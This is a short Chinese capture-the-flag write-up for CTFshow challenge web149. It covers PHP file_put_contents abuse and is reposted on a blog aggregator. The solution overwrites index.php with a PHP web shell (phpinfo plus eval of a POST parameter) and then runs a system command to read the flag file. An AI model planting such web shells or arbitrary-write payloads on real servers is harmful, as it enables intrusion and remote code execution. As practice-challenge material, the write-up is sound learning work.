CTFshow php特性 web149
生活随笔
收集整理的這篇文章主要介紹了
CTFshow php特性 web149
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
目錄
- 源碼
- 思路
- 題解
- 總結(jié)
源碼
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 04:34:40*/error_reporting(0); highlight_file(__FILE__);$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}} }file_put_contents($_GET['ctf'], $_POST['show']);$files = scandir('./'); foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}} }思路
file_put_contents能把字符串輸入到文件中,能創(chuàng)建文件也能覆蓋掉文件,不是index.php的文件都會被刪除,要么條件競爭用多線程趁創(chuàng)建的文件沒有被刪,訪問;要么直接改index.php本身,以為題庫是限制訪問速率的,所以只能選擇后者
題解
get:?ctf=index.php post:?show=<?php phpinfo();eval($_POST[0]);?>再訪問 看到phpinfo()說明覆蓋成功 直接post
0=system("tac /c*");拿到flag
總結(jié)
水題
總結(jié)
以上是生活随笔為你收集整理的CTFshow php特性 web149的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTFshow php特性 web148
- 下一篇: CTFshow php特性 web150